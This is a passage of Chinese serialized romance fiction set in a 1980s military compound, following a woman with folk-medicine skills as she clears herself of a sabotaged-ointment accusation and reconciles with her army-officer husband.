他向来温和的脸上罕见地布满怒容，林怡宁被吼得眼眶发红："院长，你可是从小看着我长大的，现在竟然为了这个贱蹄子吼我？明明就是她的药膏有问题，您还要护着她，她到底给您灌了什么迷魂汤？" "林怡宁！"董建林脸色铁青，"你身为医生，不查清事实就妄下定论，还擅自放走病患！现在立刻去把那三位战士请回来，否则你就别穿这身白大褂了！" 林怡宁听着周围指指点点的医护人员，脸上火辣辣的疼，董建林一而再再而三地站在沈晚那边，让她颜面尽失。 沈晚抱着双臂，似笑非笑地补刀："林医生，就算我的药膏真有问题，也该等见到病患查清原因再处分我。你急着放走病患，还一直阻拦调查，该不会是知道什么内情吧？" 周围医护人员听到沈晚的话，纷纷露出难言的表情： "对啊！为什么林医生一直拦着不让查？" “该不会是林医生自己动的手脚然后嫁祸给沈同志吧？” “嘘，这话可不能乱说，让林医生听见了，她又要生气了。” "你这贱人，又在污蔑我！" 林怡宁彻底失去理智，尖叫着扑向沈晚，扬起手就要扇她耳光。 沈晚早有防备，不仅攥住她的胳膊，拇指还精准地按住林怡宁肘部的曲池穴。 林怡宁顿时整条胳膊酸软发麻，像被电击般使不上力气。 "贱蹄子！你对我做了什么？！"林怡宁歇斯底里地挣扎，"我要告诉沉舟，让他立刻把你赶出部队！" "你要告诉我什么？" 一道低沉冷冽的男声突然从背后传来。 林怡宁浑身一僵，缓缓回头，霍沉舟不知何时出现在走廊尽头，正一步步走近，俊脸阴沉，黑眸中酝酿着风暴。 林怡宁声音发颤：“沉舟。” 霍沉舟看都没看她一眼，径直走到沈晚身边：“受伤没有？” 沈晚摇摇头，松开钳制林怡宁的手。 林怡宁顺势梨花带雨地哭诉："沉舟，沈晚的药膏有问题，好几个战士用了伤口都红肿溃烂。她不知错就算了，还对我动手，你看我的胳膊都被她掐紫了！" 说着她撸起袖子，露出方才被沈晚按过穴位的地方，确实泛着一片淡淡的淤青。 男人听着林怡宁的控诉，眼神越来越冷：“说完了？” 林怡宁看着霍沉舟越发冰冷的神情，心不断往下沉，但还是强撑着最后一丝希望："沉舟，你们都被沈晚骗了！你想想，她为什么早不来晚不来，偏偏在你要和她离婚的时候才来？还不是为了赖着你，舍不得团长夫人的位置！而且她根本没学过正规医术，谁知道她那些偏方是不是害人的东西？万一哪天给你下药……" 林怡宁说的声泪俱下，好像都是为了霍沉舟着想，没有一点私心。沈晚突然想知道霍沉舟听到这些，心里在想什么。 "说完了？林怡宁，你当我是傻子？她要是真在意这个团长夫人的位置，当初就不会同意离婚。" 霍沉舟拉起沈晚的手，将她拉到身边。 当两只手紧紧相握时，双方都怔了一瞬。 霍沉舟掌心传来柔软的触感，女人的手比他小了一圈，纤细的手指微凉，像是上好的羊脂玉，细腻得让人忍不住想摩挲。 霍沉舟不敢想，如果这双手能帮他…… 沈晚则感受到男人手掌的温暖干燥，虎口和指根处带着军人特有的硬茧，粗糙却莫名令人安心。 这突如其来的亲密接触让沈晚耳根发烫，下意识想抽回手，却被霍沉舟更用力地握住，拇指在她手背上轻轻一蹭，似乎在安抚她。 林怡宁看着两人交握的手，还没来得及伤心，顾战就带着三个年轻战士匆匆赶来："团长，您让我找的人带来了！" 三个小战士一见霍沉舟，立刻挺直腰板敬礼："霍团长好！" 霍沉舟微微颔首："听说你们用了沈同志的药膏后出现过敏反应？" 站在中间的小战士挠挠头，有些不好意思："霍团长，我们其实没啥大事，就是手背有点发红，可能是我们肤质问题……" "是啊，"另一个战士接话，"昨天训练完没及时洗手就抹药，说不定是我们自己的问题。" 霍沉舟声音温和：“还是检查清楚比较好。” 见团长都这么说了，几人也不好再推辞。霍沉舟松开沈晚的手，递给她一个眼神。 沈晚读懂了这个眼神——你尽管去做，剩下的交给我。 沈晚心头一暖，走到战士们面前："同志，能让我看看你们的手吗？" 三人面面相觑，还是最中间那个娃娃脸的小战士红着耳朵先伸出手。 沈晚轻轻托住他的手掌，指腹在红肿溃烂的冻疮处细致按压检查。 "这里疼吗？"她柔软的指尖划过患处。 小战士结结巴巴："有、有点痒..."整张脸已经红得像煮熟的虾子。 沈晚又检查了另外两名战士的手，发现症状出奇一致。 她现在已经验证了心中的猜想。 董建林急切地问道：“沈同志，有什么问题？” 第四十七章 亲耳朵 “药膏里面加了硫磺粉，药房里的硫磺是外用消毒的，直接掺进冻疮膏里会腐蚀伤口。” 能进入药房的都是医院内部人员。 董建林瞥了一眼旁边面色灰白的林怡宁，叹了口气。 霍沉舟眸色冷了下来："董院长，能接触到药房药品的，应该都是医院内部人员吧？" 董建林神情凝重地点头："没错，每次领取药品都有严格的登记记录。" "那我们就查查这两天谁领过硫磺粉。" 沈晚下意识看向林怡宁，却发现对方虽然脸色难看，却并没有太过慌张的神情。 她心里一沉，看来这次恐怕揪不出真凶了。 众人跟着董建林来到药房登记处，翻看近几日的领用记录。 果然，最近两周内确实没有人领用过硫磺粉。 站在人群最后的林怡宁冲沈晚歪了歪头，眼神有点挑衅，她早就料定是这个结果。 董建林皱眉翻着记录本："奇怪，如果没有领用记录，硫磺粉是怎么混进药膏里的？" 沈晚缓缓开口："如果是偷拿的呢？" "偷拿？"董建林若有所思，"确实有可能……" 但八十年代的医院没有监控设备，想查清谁偷拿了硫磺粉简直难如登天。 董建林叹了口气，合上记录本："霍团长，沈同志，你们先回去休息吧。我保证会彻查此事，给你们一个交代。" 回程的吉普车上，霍沉舟因站了太久，右腿隐隐作痛，他不动声色地揉了揉膝盖。 沈晚注意到他揉膝盖的动作："腿疼？" 霍沉舟闷哼一声："嗯，有点。" 沈晚两只手一直揣在兜里暖着，此时又在嘴边哈了口热气，俯身将温热的手心轻轻覆在他膝盖上。 霍沉舟低头就能看见她乌黑的发顶，几缕碎发下若隐若现的雪白后颈，还有那对精致小巧的耳垂，此刻正泛着淡淡的粉色。 "好点没？"沈晚仰起脸问他。 霍沉舟喉结滚动："嗯。" 他声音比平时低哑，目光落在沈晚近在咫尺的唇上，有种冲动。 驾驶位的顾战通过后视镜偷瞄着后座的两人，嘴角是压不住的笑意。 车子突然一个急刹—— 沈晚因惯性猛地向前栽去。 霍沉舟肌肉瞬间绷紧，长臂一揽将她牢牢扣进怀里，沈晚整个人扑在他胸膛上，鼻尖撞到坚硬的胸肌，疼得眼眶泛红。 两人的姿势暧昧至极。 沈晚半跪在车座上，纤细的腰肢被霍沉舟的手轻轻扶住，保持着若即若离的距离。 顾战神情自若：“……抱歉沈同志，刚才地上结冰太滑了，没刹住。” 霍沉舟看着怀中的小女人，不知道她在想什么，却见她瓷白的肌肤泛起红晕，睫毛慌乱地颤动着，粉嫩的唇瓣微微张开。 他的心跳蓦地漏了一拍，声音低哑地叫了一声：“阿晚……” 沈晚一愣："你叫我什么？" "阿晚。"霍沉舟又唤了一声，"以后都这么叫你。" 前排的顾战死死盯着路面，在心里疯狂默念：我什么都听不见…… "阿晚"。 这个久违的称呼让沈晚心头一颤。 在现代，只有最亲近的家人才会这样唤她。 霍沉舟低沉的嗓音像大提琴般在她耳畔震动，尾音微微上扬，带着说不出的亲昵。 不得不承认，沈晚骨子里是个声控。这声"阿晚"叫得她半边身子都酥麻了，刚从霍沉舟怀里起不来了。 霍沉舟注意到她的状态，猜到她是喜欢这个称呼。 他低笑一声，故意凑近她耳边，温热的呼吸拂过她耳际："阿晚，喜欢我这么叫你？" 男人的声音低沉柔和，带着几分试探，让沈晚心跳微微加快，她指尖无意识地蜷了蜷，脸颊染上一层薄红，声音轻得几乎听不清："……没有。" 这欲拒还迎的调子让霍沉舟眸色骤深："撒谎。" 下一秒，男人突然靠近，沈晚浑身一颤，触电般的酥麻从耳垂瞬间蔓延至全身。 羞愤地推开霍沉舟后，抬手捂住自己已经红透的耳朵。 这男人也太会了，竟然舔她的耳朵。 所幸吉普车很快驶入大院。 顾战停稳后，依旧坐得笔直不敢回头:"团长，沈同志，到了。" 沈晚像只受惊的兔子般跳下车，头也不回地往家快步走，霍沉舟只能缓慢跟在后面。 这场景落到大院里的有心人眼里，又在责怪沈晚不懂事了。 孙秀芝的丈夫孟宪三步并作两步上前扶住霍沉舟："老霍，你这媳妇可真够不懂事的！腿伤还没好利索呢，她倒好，自己跑得比兔子还快，连扶都不扶一把！要我说啊，这种没眼力见的女人你和她离了就对了。" 霍沉舟却眉眼温柔：“她很好。” 孟宪跟见了鬼似的瞪大眼睛："老霍，你这话说的，该不会是让那小娘们儿灌了什么迷魂汤吧？" “要不是她，我这条腿就保不住了，自然也没有机会能这样靠自己走路了。” 孟宪哑口无言，讪讪地摸了摸鼻头。 沈晚推门进屋，意外发现苏琴杉正坐在自家炕头上。 她拧了拧眉，很讨厌这种不打招呼就登门的人。 桌上摆着几个精致的礼盒，两罐麦乳精、一包红枣。 苏琴杉正拿着霍小川最宝贝的积木，温柔地问道："小川，这积木怎么玩呀？能教教婶婶吗？" 霍小川小脸皱成一团，他不喜欢陌生人碰他的玩具，而且他喜欢和聪明的人一起玩。 但想到她是顾叔叔的未婚妻，小家伙还是勉强点了点头。 "你看，这样搭……"霍小川认真地示范着，小手灵活地将积木垒成小楼。 "哎呀，是这样吗？"苏琴杉手笨，"哗啦"一声把搭到一半的积木塔碰倒了，最顶上的小木块"咔嚓"断成两截。 霍小川愣住了，大眼睛瞬间蓄满泪水：“我的将军楼……你把我的积木弄坏了，这是爸爸送我的。” 第四十八章 家里她管钱 霍小川瘪着小嘴，看见沈晚回来立刻扑进她怀里："妈妈，我的积木被婶婶摔坏了。" 沈晚安抚地摸了摸他的小脑袋。 苏琴杉看见院里的霍沉舟，立马一脸歉意地走过来："小川，是婶婶不对，婶婶赔给你好不好？" 沈晚淡淡瞥她一眼："这积木是成套的，一个坏了整套都不好拼了。你要么赔钱，要么重新买一套。" 苏琴杉强忍着不悦："这一套多少钱？" "八块八。"沈晚面不改色，"百货大楼玩具柜台有卖。" "什么？！"苏琴杉差点咬到舌头，“沈同志，这就是一堆木头，怎么会这么贵？” 沈晚耸了耸肩："你的意思是我讹你？这积木是霍沉舟托顾营长买回来的，不信你回家去问问顾营长多少钱。" 正说着，霍沉舟推门而入。 看到屋内的情形，他先是对沈晚解释道："刚才走得急，就让苏同志帮忙照看下小川。" 沈晚“嗯”了一声。 霍小川跟着告状：“爸爸！婶婶把你送我的积木摔坏了！” 苏琴杉强颜欢笑："小川别急，婶婶赔给你，但我身上没带这么多钱，我这就回家拿。" 霍沉舟皱了皱眉，看在顾战的面子上，他沉声道："不用了。小川，爸爸再给你买套新的。" 他并不知道苏琴杉的为人，只当她是兄弟的未婚妻，没必要斤斤计较。 沈晚忍不住翻了个白眼，这男人倒是好说话。 苏琴杉急着感谢："霍团长，我特意给您带了麦乳精，补身体最好了。" 她咬着唇撩了撩耳边的碎发，"自从您出院，我一直没机会来看您。" 霍沉舟淡淡"嗯"了一声："多谢。" 苏琴杉偷偷打量着眼前高大挺拔的男人，在见到霍沉舟之前，她一直以为团长都是五大三粗的糙汉子，哪想到会是这样剑眉星目的俊朗模样，比起顾战，霍沉舟身上多了一种成熟男人的气场。 旁边的沈晚突然冷不丁开口："不行，该赔多少钱赔多少钱。这两罐麦乳精也不值那么多钱吧？" 她态度强硬，苏琴杉的眼眶立刻红了："沈同志，这毕竟是霍团长买给小川的礼物，霍团长都说不用赔了，你为什么非要针对我？自从你搬来家属院就一直讨厌我，可我实在不知道做错了什么。" 沈晚无语。 又来了，这白莲花的戏码。 霍沉舟看向沈晚，虽然不明白她为何对苏琴杉如此反感，但还是开口道："那就按阿晚说的办。" 沈晚没想到霍沉舟连缘由都不问就直接站在她这边，心头蓦地一暖，看向他的眼神不自觉地柔软了几分。 而苏琴杉却被霍沉舟对沈晚的称呼震住了。 "阿晚"？这分明是夫妻间才会用的亲昵叫法吧，为什么霍沉舟会这么叫沈晚？ 苏琴杉把手伸进兜里："这两罐麦乳精一共三块二，我身上还有五块钱，正好给你。" 她将钱递给霍沉舟，男人却没接："给阿晚吧，家里她管钱。" 又是一个重磅炸弹！ 苏琴杉的脑袋嗡嗡作响，不是说霍沉舟马上就要和沈晚离婚了吗？怎么连财政大权都交出去了？ 她开始怀疑自己的记忆是不是错乱了。 沈晚自然地接过钱："剩下的六毛看在顾营长面子上给你抹了。" 苏琴杉恍恍惚惚地离开霍家。 霍沉舟一只手搭在沈晚肩上："腿疼，扶我进去。" 沈晚撇撇嘴，念在他今天特意去医院给自己撑腰的份上，不情不愿地扶着他进屋。 "你很讨厌苏同志？"霍沉舟轻声问。 沈晚挑眉："很明显吗？" "明显。"霍沉舟低笑，"只要不瞎都能看出来。" 沈晚一噎，嘟囔道："那就当我讨厌她吧。" 霍沉舟若有所思地看着她。 他被沈晚扶着坐到炕边，沈晚俯身帮他脱掉靴子：“你这腿我看恢复的挺好的，今天晚上我再帮你扎一次针，就能恢复的差不多了。” “多谢。”霍沉舟认真地看着她。 沈晚冲他比了个古今通用的手势，拇指和食指搓了搓："口头上感谢不如这个实在。" 霍沉舟心中好笑："刚才不是说了？家里钱都归你管。我一个月的130块钱的津贴还不够吗？" 沈晚杏眼圆睁："真给我管？"她原以为霍沉舟只是在外人面前做做样子。 霍沉舟温声道："嗯，家里的存款在哪你知道，你想买什么就买什么。" 沈晚本来还不太敢花床头柜里的钱，听到霍沉舟这么说，她心里也算有底了。 这边的苏琴杉回到家，顾战立刻笑眯眯地迎了上来："琴杉，我看团长和沈同志八成是不会离婚了。" 苏琴杉心里"咯噔"一声，皱着眉看他："为什么？霍团长不是已经把离婚申请递上去了吗？" 顾战一拍大腿："申请可以撤回啊！反正审批还没下来。" 他乐呵呵地搓着手，“你没看今天团长和沈同志那黏糊劲，肯定离不成了。” 苏琴杉的指甲深深掐进掌心，钻心的疼痛却压不住心头翻涌的嫉恨。 凭什么？凭什么沈晚那个村妇能赖着霍沉舟不离婚？她苏琴杉重生一世，机关算尽，为什么还是只能和一个小小的营长结婚？ "琴杉，你脸色怎么这么难看？"顾战终于察觉到异常。 苏琴杉强压下扭曲的表情："他们俩不离婚，你那么高兴做什么？" 顾战挠挠头：“团长高兴我就高兴啊，团长前几年太苦了，每次出任务回来，别人都有媳妇孩子热炕头，就团长一个人冷冷清清地住在宿舍，别人收到家信都很开心，只有团长每次都愁容满面。” 顾战越说越起劲，憨厚的笑起来：“现在多好啊沈同志医术高明，也不像之前那样了，把小川和团长都照顾的那么好，要我说不离婚就对了。” 苏琴杉恨铁不成钢："阿战，你就甘心一辈子当个营长吗？你的资历不比霍团长差。" 顾战完全没理解她的意思，反而握住她的手："琴杉，我就算只是个营长，也能让你过上好日子，你别担心了。" 苏琴杉看着顾战真诚的眼神，心里跟吞了一只苍蝇一样恶心。 第四十九章 霍沉舟主动脱衣服，任君采撷？ 晚上，霍沉舟回到房间，想到沈晚说要给他扎针，心里涌起一丝隐秘的期待。 他先是正襟危坐在炕边，又觉得这个姿势太僵硬，便靠在床头上，最后干脆解开两颗领扣，露出线条分明的锁骨。 等了半天，外面的动静渐渐安静下来，却迟迟不见沈晚进来。 霍沉舟终于坐不住了，刚想站起身出去找沈晚，房门突然被轻轻推开。 霍沉舟立刻躺了回去，还顺手把领口又扯开了些。 沈晚拿着针包进来时，看见的就是这样一幕——霍沉舟慵懒地靠在床头，军装领口大敞，露出大片蜜色的结实胸膛。那双平时凌厉的凤眼此刻半阖着，长睫在灯光下投下一片阴影，薄唇微抿，整个人散发着一种危险的性感。 她眉心狠狠一跳，这男人大晚上摆出这副骚里骚气的姿势是想干嘛？！ 听到动静，霍沉舟缓缓睁开眼，侧头看她，薄唇轻启："阿晚。" 这低哑性感的嗓音让沈晚顿时起了一身鸡皮疙瘩，她不自在地咽了口唾沫："躺好，把裤子撩起来。" 霍沉舟微微皱眉，修长的手指在衣扣上流连："不用脱衣服吗？" "不用！我扎小腿和脚腕就行。" 霍沉舟一脸认真："我看还是脱掉吧，不然你不方便施针。" 沈晚："......" 还没等她阻止，霍沉舟已经利落地褪下军裤，露出里面那条军绿色平角裤。 两条笔直修长的腿肌肉分明，小麦色的肌肤上还带着几处未愈的伤疤。 脱完后，他直挺挺地躺在炕上，双手交叠放在腹部，一副任君采撷的模样："来吧。" 沈晚扶额，这场景怎么搞得她像个欺男霸女的流氓似的！ "你……"她深吸一口气，努力把注意力集中在穴位上，"把腿曲起来一点。" 霍沉舟配合地屈起膝盖，沈晚的指尖轻轻按在霍沉舟膝盖上方的血海穴："这里疼吗？" 霍沉舟摇头，目光始终黏在她的脸上。 沈晚手捻银针，精准刺入穴位，霍沉舟只觉一股暖流顺着针尖扩散开来，原本酸胀的伤处顿时轻松不少。 "别乱动。"她按住他下意识绷紧的小腿肌肉，指尖不经意划过他结实的腿腹，"这一针要深一些，会有点胀。" 霍沉舟胸膛起伏："嗯。" 沈晚俯身去扎小腿的穴位，发丝垂落，若有似无地扫过霍沉舟的膝盖，激起一阵细微的战栗。 沈晚做事的时候很专注，霍沉舟冷不丁开口："阿晚，明天跟我去见首长吗？" "周首长？" 沈晚想到之前答应周卫国要帮他按摩的话，以为霍沉舟找周卫国是有正事要谈，便答应了：“行。” 扎完针，沈晚长舒一口气，将银针仔细消毒收好。 霍沉舟的视线一直追随着她，直到她离开房间，房门“咔哒”一声关上，男人才收回目光。 他一只胳膊枕在脑后，盯着天花板出神。 阿晚，你到底还有什么是我不知道的？ …… 次日清晨，霍小川被送去部队托儿所后，顾战开着军用吉普来接霍沉舟和沈晚。 路上，顾战憨笑着："团长，等我和琴杉结婚的时候，您可得给我们当证婚人啊！" 沈晚闻言，脸上闪过一丝难以察觉的复杂，在她看来，苏琴杉根本配不上顾战。 顾战正直爽朗，他值得更好的姑娘，而不是苏琴杉那样人前装柔弱，背地里耍心机的白莲花。 沈晚张了张嘴，最终把话咽了回去。她有什么立场去评价别人的未婚妻呢？ 说到底，苏琴杉才是顾战的家人，她上次和他说了苏琴杉作弊的事情，最后也不了了之。 霍沉舟敏锐地捕捉到她的欲言又止，主动开口："结婚的事想好了？" 顾战点头："我都老大不小了，该成家了。结婚报告我都写好了。" 霍沉舟点点头："想清楚就行。" 沈晚忍不住好奇："要在部队办婚礼吗？" 顾战盘算着："打算先在部队食堂摆几桌，请战友们喝顿喜酒。按咱们东北老家的规矩，得准备''四彩礼''——离娘肉、粉条、大葱还有酒。等休探亲假时，再带琴杉回老家补办一场，让我爹娘也高兴高兴。" 沈晚第一次听说这些婚俗，觉得很是新奇，她下意识想到原主和霍沉舟的婚礼。 五年前，霍沉舟休假回老家，结果碰上落水的原主，出于军人的责任感，他毫不犹豫跳进河里救人。 在岸边，他给昏迷的原主做了人工呼吸和心脏按压。 谁知原主醒来后，竟当众哭喊着说他摸胸亲嘴毁了自己清白。在那个保守的年代，这样的流言足以毁掉一个姑娘的名声。村里人指指点点，原主家人差点闹到部队。 霍沉舟迫于无奈，只好娶了她，事发突然，婚礼一切从简。 车子稳稳停在师部办公楼前。 霍沉舟先一步下车，扶了一下沈晚："小心台阶。" 他宽大的手掌稳稳托住她的胳膊。 沈晚一下车，就吸引了门口许多人的注意。 她今天穿了件军绿色的棉袄，腰间用布带松松系着，衬得腰身纤细。乌黑的长发挽成简单的低马尾，鬓边几缕碎发被寒风吹得微微飘动。 虽然衣着简单，但她瓷白的肌肤和明艳的五官格外夺目，引得门口几个小战士频频侧目。 两人刚要踏上台阶，身后突然传来一道熟悉的声音："沉舟？沈同志？" 沈晚回头，只见杨雪梅站在不远处，一脸惊讶地看着他们："你们怎么来了？沉舟你的腿好了？" 霍沉舟微微颔首："杨主任，腿好多了。我来找周首长说点事。" 杨雪梅快步走近，目光在两人之间来回打量，刚才她要是没看错，霍沉舟居然主动扶着沈晚下车？ 这俩人有情况啊！ "老周在办公室呢。"杨雪梅压下心头疑惑，“我正好没事，和你们一起过去吧。” 三人并肩往办公楼里走，杨雪梅的目光落在霍沉舟稳健的步伐上，忍不住感叹："没想到你腿恢复得这么快！我还以为至少要养上半年呢。" 霍沉舟唇角微扬："多亏了阿晚，不然不会好这么快。" 这话让杨雪梅一震。 第五十章 不离了，不后悔 杨雪梅从没见过这样的霍沉舟。 男人冷峻的眉眼像是被春风拂过的冰湖，眼底漾着温柔涟漪，他看向沈晚时，唇角会不自觉地上扬一个几不可察的弧度。 要知道，以霍沉舟的相貌和能力，这些年在部队没少被女同志明里暗里示好，文工团的台柱子都给他送过亲手织的毛衣。 可霍沉舟从来都是板着一张生人勿近的脸，礼貌又疏离地保持距离。 杨雪梅还记得有次联谊会，某个大胆的女同志假装醉酒往他身上靠，结果被霍沉舟一个侧身躲开，害人家直接摔进了花坛里。 她心里更怨周卫国了，自己早就说过不要插手人家小两口的事，结果他非让她去当这个恶人。现在可好，人家小两口甜甜蜜蜜的，倒显得她里外不是人。 杨雪梅意味深长地笑了笑，突然很想看见她家那口子看见这幅场景是什么反应。 路上，杨雪梅和蔼地和沈晚搭话："小沈同志，你那个药膏的进展怎么样了？" 沈晚礼貌回应："已经把样品交给董院长了，正在等临床反馈结果。" "那挺好。"杨雪梅笑眯眯地拍了拍她的手，"要是效果好的话，到时候给你申请个正式编制，每个月都可以领津贴和福利。" 说话间，三人已来到周卫国办公室门前。杨雪梅抬手敲了敲门，里面传出浑厚的男声："进。" 周卫国正低头批阅文件，听到动静抬头，先看见自家媳妇，嘴角不自觉扬起："你怎么来了？不是说晚上陪你吃饭吗？" 杨雪梅没好气地白了他一眼："你看看谁来了？" 周卫国这才注意到站在后面的霍沉舟和沈晚。 周卫国皱眉看向霍沉舟的腿："沉舟，你这伤还没好利索，怎么到处乱跑？" 霍沉舟敬了个礼："首长，我有事要向您汇报。" 周卫国挑眉："什么事这么急？" 沈晚很有眼力见地开口："你们先聊，我去趟卫生间。" 等沈晚一出门，杨雪梅立刻把门关上，迫不及待地问："沉舟，你和小沈同志现在什么情况？" 周卫国一脸茫然："什么情况？沉舟和沈晚怎么了？" 杨雪梅懒得搭理他，继续追问霍沉舟。 霍沉舟对她微微一笑："主任，就是你想的那样。" 杨雪梅眼睛瞬间亮了起来，连眼角的皱纹都透着兴奋，她双手一拍：“我就知道是这样。” 周卫国更懵了："你们在打什么哑谜？" 杨雪梅得意地冲丈夫抬了抬下巴："某些人不是信誓旦旦说人家肯定要离婚吗？" 周卫国猛地反应过来，诧异地看向霍沉舟："沉舟，你不离婚了？" 霍沉舟声音沉稳："请首长帮我把离婚审批撤下来。" 周卫国试探地问："你和沈晚和好了？" "嗯。" 周卫国拿起搪瓷缸子喝了口热水，神情严肃："沉舟啊，婚姻不是儿戏。当年你突然结婚，我就不同意。后来你遭了那么多罪，现在离婚审批都快下来了，你真想好不离了？" 霍沉舟声音掷地有声："报告首长，想好了。" "不后悔？" "不后悔。" 周卫国盯着他看了半晌，突然语出惊人："沉舟，你没有把柄在沈晚手里吧？" 霍沉舟啼笑皆非："首长，您说什么呢？" 杨雪梅也忍不住掐了丈夫一把："你这老头子，就盼着沉舟过不好是不是？" 周卫国无奈地捏了捏眉心："行行行，我知道了。" 霍沉舟起身敬礼："首长，阿晚说要给您按摩颈椎，我去叫她过来。" "她倒是挺有心的。"周卫国脸色缓和下来，"去吧。" 等霍沉舟走出办公室，杨雪梅立刻揪住丈夫的耳朵："你刚才那叫什么话！人家小两口好不容易和好，你非得给人添堵是不是？" "哎哟轻点！"周卫国歪着脑袋求饶，"我这不是怕沉舟又吃亏嘛！你忘了当年那丫头多能闹腾？" 杨雪梅松开手：“哼，我倒是感觉现在的小沈挺好的。” 霍沉舟去卫生间找沈晚，远远就看见一群人围在门口，他心头一紧，三步并作两步赶过去。 人群中央传来尖锐的争吵声："肯定是你偷的！我刚才就放在洗手台上！" 拨开人群，霍沉舟看见沈晚正被一个烫着卷发的中年妇女拽着手腕。 那女人不依不饶地叫嚷着，恨不得让全办公楼的人听见，唾沫星子横飞："我刚才上完厕所就把手表摘下来放洗手台上了！那可是瑞士进口的梅花表，我儿子花了好几个月工资从国外带回来的！我就出去两分钟，回来就不见了！这厕所里就你一个人，不是你偷的是谁？！" 沈晚挣开她的手，冷声道："大妈，我洗手的时候根本没看见什么手表。" "放屁！"妇女激动地指着沈晚的布包，"敢不敢让我搜包？！" 围观的人越来越多，窃窃私语声此起彼伏。 "那不是王主任的爱人吗？哎哟，被她缠上算是麻烦了，这大姐最是泼辣了。" "这姑娘看起来不像是会偷东西的人啊？" 旁边的人立马反驳她："你懂什么！人不可貌相！卫生间里就她一个人，不是她还能是谁？要我说，不让搜包就是心虚！" 沈晚没有任由她搜自己的包："你没有权利搜我的包。" 陈美玲得意洋洋地扬起下巴：“那你就是心虚！大家快看，有人偷我的手表了！” 沈晚本想直接离开这是非之地，谁知陈美玲竟一把拽住她的长发："小偷！不许走！" 头皮传来撕裂般的疼痛，沈晚忍不住"嘶"了一声，怒火瞬间燃到顶点。 她刚想发作，突然看见霍沉舟从人群外走了进来。 男人军装笔挺，面色冷峻。 他每走一步，周围嘈杂的议论声就低一分，等他站定时，整个走廊鸦雀无声。 沈晚动作一顿，不知为何鼻尖有些发酸。 陈美玲还不知死活地叫嚣着：“你是谁啊？是这小偷的男人？” "松手。" 霍沉舟从牙缝里挤出两个字，周身气压低得骇人，看陈美玲的眼神像是在看一个死人。 陈美玲被那目光刺得一哆嗦，气势弱了几分：“我凭什么听你的？” 第五十一章 她欺负你，不行 下一秒，霍沉舟不再和她废话，突然出手，铁钳般的大手精准扣住陈美玲的手腕，一个反拧—— "啊！！"陈美玲发出杀猪般的惨叫，被迫松开了沈晚的头发，"你放开我！你知道我男人是谁吗？王伟！财务部主任！信不信我让他停了你的津贴！让你全家喝西北风去！" 旁边认识霍沉舟的干部连忙劝阻："陈大姐快别说了！这是第七师的霍团长啊！" 陈美玲听到这个名字，顿时嚣张气焰全无。 谁不知道霍沉舟是周师长最器重的爱将？她丈夫见了都得敬礼喊首长！ 陈美玲脸色瞬间煞白，结结巴巴地道歉："对、对不起霍团长，我有眼不识泰山，但这小贱人偷了我的梅花表，那可是值三百多块钱的进口货！我必须得拿回来。" 沈晚冷冷道："我再重申一次，我没有偷，而且我出来时洗手台上根本没有手表。" 陈美玲捂着被扭疼的手腕，还在嘴硬："我都问过清洁工了，她说只看见你一个人……" 说到一半，她突然顿住了。 对啊，清洁工不也在厕所里吗？ 周围议论声渐起： "我看这位女同志气质这么好，不像是会偷东西的人啊？" "就是，人家长得这么漂亮，犯得着偷表吗？" "该不会是那个清洁工拿的吧？" 陈美玲脸色越来越难看，心里也反应过来了，肯定是那个清洁工拿的。 这时，一个中年男人满头大汗地挤进人群，看见眼前这一幕差点晕过去。他连忙小跑到霍沉舟面前，毕恭毕敬地敬了个礼："霍团长！" 陈美玲哭丧着脸向他求救：“老王。” 王伟狠狠瞪了她一眼，转身对霍沉舟赔笑道："霍团长，我爱人不懂事，您千万别往心里去。" 霍沉舟冷声道："你们不应该给我道歉。" 王伟愣了一下，这才注意到霍沉舟身后那位明艳动人的女子。 他立刻反应过来，推了推陈美玲："快给霍团长的爱人道歉！" 此言一出，围观众人齐齐一震，原来这位就是传闻中霍团长的爱人！ 陈美玲疼得直冒冷汗："老王，你能不能先让霍团长放开我，我的胳膊快断了。" 此时陈美玲整条胳膊都扭曲变形，王伟连连作揖："霍团长，您高抬贵手……" 霍沉舟松开手，陈美玲顿时像滩烂泥一样瘫软在地。 "对、对不起。"她哆嗦着嘴唇，再也嚣张不起来，"是我冤枉你了。" 沈晚揉了揉被拽疼的头皮，淡淡道：“下次记得搞清楚状况再指责别人。” 王伟连连点头哈腰："是是是，沈同志教训的是，改日我一定登门赔罪。" 霍沉舟揽过沈晚的肩膀："不必了。" 众人纷纷为两人让开一条路，目送霍沉舟揽着沈晚离开。 等他们的身影消失在走廊尽头，王伟一把拽起陈美玲，压低声音怒道："你说说你，能不能长点脑子？那是霍团长的爱人！人家男人刚立了一等功，前途无量！你倒好，直接往枪口上撞！" 陈美玲不甘心地扭了他一把："少在这教训我！你快去找那个清洁工啊！就是她把我的手表偷走了！" 王伟头疼地揉了揉太阳穴："行行行，你先去我办公室等着，别在这丢人现眼了。" 他转身要走，突然又想起什么，回头警告道："记住，以后要是再惹出事来，看我怎么收拾你！" 陈美玲撇着嘴往办公室走，心里却把沈晚骂了个狗血淋头。 不就是个团长夫人吗？有什么了不起的？还不是靠男人的下贱蹄子吗？ * 路上，沈晚故意调侃道："霍团长怎么还对人民群众动手呢？" 霍沉舟板着脸："她欺负你，不行。" 沈晚心里一暖，这男人面冷心热，护短的样子还挺可爱。 回到周卫国办公室，杨雪梅笑着问她："小沈，刚才听见外面乱糟糟的，你没遇着什么事吧？" 沈晚摇摇头："没事。" 周卫国此时神情也温和了不少："沈晚，听说你要给我按摩？" "对，上次在医院我不是答应您了吗？"沈晚笑着卷起袖子。 杨雪梅兴致勃勃地看过来："小沈，上次老周就说你按完后脖颈舒服了不少，正好今天我和你学学。" 沈晚让周卫国坐在椅子上，双手搭上他的肩膀："首长放松，我先给您检查一下。" 她的手指精准地找到颈椎两侧的穴位，力道适中地按压起来。 周卫国舒服得直叹气："哎呦，这手法，比医院那些理疗师强多了！" 沈晚一边按摩，一边耐心地给杨雪梅讲解："您看，这个穴位叫风池穴，在颈椎两侧凹陷处，用拇指这样轻轻打圈按揉……" 杨雪梅学得认真："小沈，你这医术都是在哪学的？" "我外公是村医，从小跟着他耳濡目染学了些皮毛。" 杨雪梅赞叹道："那他把你教得真好。" 周卫国闭着眼睛享受，舒服得直哼哼："左边再重点……对对对，就这儿。" 沈晚笑着加大力道："首长这是长期伏案工作导致的颈椎劳损，平时要多活动。" 她示范了几个简单的颈部运动，"您每天早晚各做三组，能缓解不少。" 霍沉舟站在一旁，看着沈晚游刃有余的样子，眼底浮现一丝笑意。 两人想走的时候，周卫国还拦着不让走：“走，去我家尝尝你嫂子的手艺。” 